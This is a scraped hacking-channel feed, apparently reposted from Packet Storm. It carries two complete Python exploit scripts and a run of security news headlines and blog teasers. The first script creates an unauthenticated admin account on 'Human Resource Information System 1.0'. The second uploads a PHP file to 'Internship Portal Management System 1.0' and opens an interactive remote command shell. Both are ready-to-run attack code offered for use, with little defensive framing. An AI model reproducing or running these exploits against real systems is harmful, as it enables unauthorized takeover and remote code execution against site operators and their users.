Exploit Collector
Human Resource Information System 1.0 Authentication Bypass / Account Creation

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
Human Resource Information System version 1.0 suffers from an unauthenticated administrative account creation vulnerability.

MD5 | 41eb1d3fba6ea3d4ddbbc36358daf7ad

Download
# Exploit Title: Human Resource Information System 1.0 - Create Admin Account (Unauthenticated)
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/14714/human-resource-information-using-phpmysqliobject-orientedcomplete-free-sourcecode.html
# Version:1.0
# Tested on: windows 10 (build 19041) + xampp v3.2.4

#!/usr/bin/python3
import requests

BASEURL="http://localhost/HRI/" #Change Base url to target path
ADDURL="/Superadmin_Dashboard/process/addhradmin_process.php"
s = requests.Session()

print("\nHuman Resource Information System - Create Admin Account (Unauthenticated)")
print("Created On: 04/05/2021\nAuthor: Richard Jones\n")

print("[-] Checking Host")
r = s.get(BASEURL+ADDURL)
if not r.status_code == 200:
print("[!] Host Error, Check URL...")
exit(0)

print("[+] Creating Admin account")
data = {
"hr_companyid":"6544",
"hr_firstname":"admin",
"hr_lastname":"admin",
"hr_middlename":"admin",
"hr_contactno":"05555551231",
"hr_type":"HR Head",
"hr_email":"a@a.com",
"hr_password":"admin4",
"hr_admin":""
}

r = s.post(BASEURL+ADDURL, data=data)
if 'Insert Successfully!!!' in r.text:
print("[+] Account Created!")
print("[+] Login Credentials Created:\n a@a.com:admin4\n\n")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Shenzhen Skyworth RN510 Cross Site Request Forgery / Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Shenzhen Skyworth RN510 Information Disclosure

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Shenzhen Skyworth RN510 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Internship Portal Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Internship Portal Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 0e64d22b012cb716290ae978805da036

Download
# Exploit Title: Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)
# Date: 2021-05-04
# Exploit Author: argenestel
# Vendor Homepage: https://www.sourcecodester.com/php/11712/internship-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11712&title=Internship+Portal+Management+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: Debian 10

import requests
import time

#change the url to the site running the vulnerable system
url="http://127.0.0.1:4000"
#burp proxy
proxies = {
"http": "http://127.0.0.1:8080",
}
#payload
payload=''

#the upload point
insert_url=url+"/inserty.php"

def fill_details():
global payload
global shellend
global shellstart
print("Online Intern System 1.0 Exploit: Unauth RCE via File Upload")
#time start
shellstart=int(time.time())
#print(shellstart)
files = {'file':('shell.php',payload,
'image/png', {'Content-Disposition': 'form-data'}
)
}
data = {
"company_name":"some",
"first_name":"some",
"last_name":"some",
"email":"some@some.com",
"gender":"Male",
"insert_button":"Apply",
"terms":"on"
}
r = requests.post(insert_url, data=data, files=files)
if r.status_code == 200:
print("Exploited Intern System Successfully...")
shellend = int(time.time())
#print(shellend)
shell()
else:
print("Exploit Failed")

def shell():
for shellname in range(shellstart, shellend+1):
shellstr=str(shellname)
shell_url=url+"/upload/"+shellstr+"_shell.php"
r = requests.get(shell_url)
if r.status_code == 200:
shell_url=url+"/upload/"+shellstr+"_shell.php"
break

r = requests.get(shell_url)
if r.status_code == 200:
print("Shell Starting...")
while True:
cmd=input("cmd$ ")
r = requests.get(shell_url+"?cmd="+cmd)
print(r.text)
else:
print("File Name Error")
fill_details()


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
GravCMS 1.10.7 Remote Command Execution

___________________________
@hacking_Attack
@Hacking_Video

Injecting Punycode URL Within the Arbitrary Text via Comment Box In Google Photo Sharing Option

Definition:Continue reading on InfoSec Write-ups »
Read more...

hacking: security in practice
CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws

https://external-preview.redd.it/MdtKvrHgFUVUfh9pGQDVcw_MorvLB5kMuJsMYhiSlzA.jpg?width=640&crop=smart&auto=webp&s=38a11f993cc91564e8c218a61276ccadfd1cd2a3 submitted by /u/GHIDRAdev
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
[Events] "vBeer v2" online Party! - 7 May at 3PM UTC

Dear friends, on behalf of 3mdeb I invite you to a fresh "vBeer v2"! Let's discuss the open/libre firmware/hardware and other nice embedded things you have in mind. To join us, go to http://vpub.3mdeb.com/may7th on 7th May at 3PM UTC

at "v1" there was a great discussion with 50 firmware masters from all over the world! Here's my blogpost about it. And this time - together with your surprise suggestions (you're welcome!) - we could explore:

* new advances at opensource firmware/hardware world, like this new initiative for opensource FPGAs
* is the new emerging RISC-V hardware such as BeagleV - truly open?
* results of "Ideal platform for coreboot training" survey (which is still going on btw)

- and much more! There'd be a productive talk with a cosy atmosphere and good vibes - so, feel invited and take your beer! ;) http://vpub.3mdeb.com/may7th , 7th May at 3PM UTC

submitted by /u/Mike-Banon1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What the fuzz?! — The truth behind content discovery

https://cdn-images-1.medium.com/max/600/1*3DemJUbJWJdarAu13vkyMQ.png
Content discovery is an art. Let’s find out how to create this magic!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Injecting Punycode URL Within the Arbitrary Text via Comment Box In Google Photo Sharing Option

https://cdn-images-1.medium.com/max/1200/1*fixbrVJK2IukU-VrLF1kdg.png
Definition:

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pentesting on Arch linux as WSL

https://cdn-images-1.medium.com/max/1495/1*YL5MPCHgQXES3W3ikvesCw.png
This is second part of the series Pentesting on Windows with WSL. In this we will setup Arch Linux on WSL2 and install hacking tool with…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video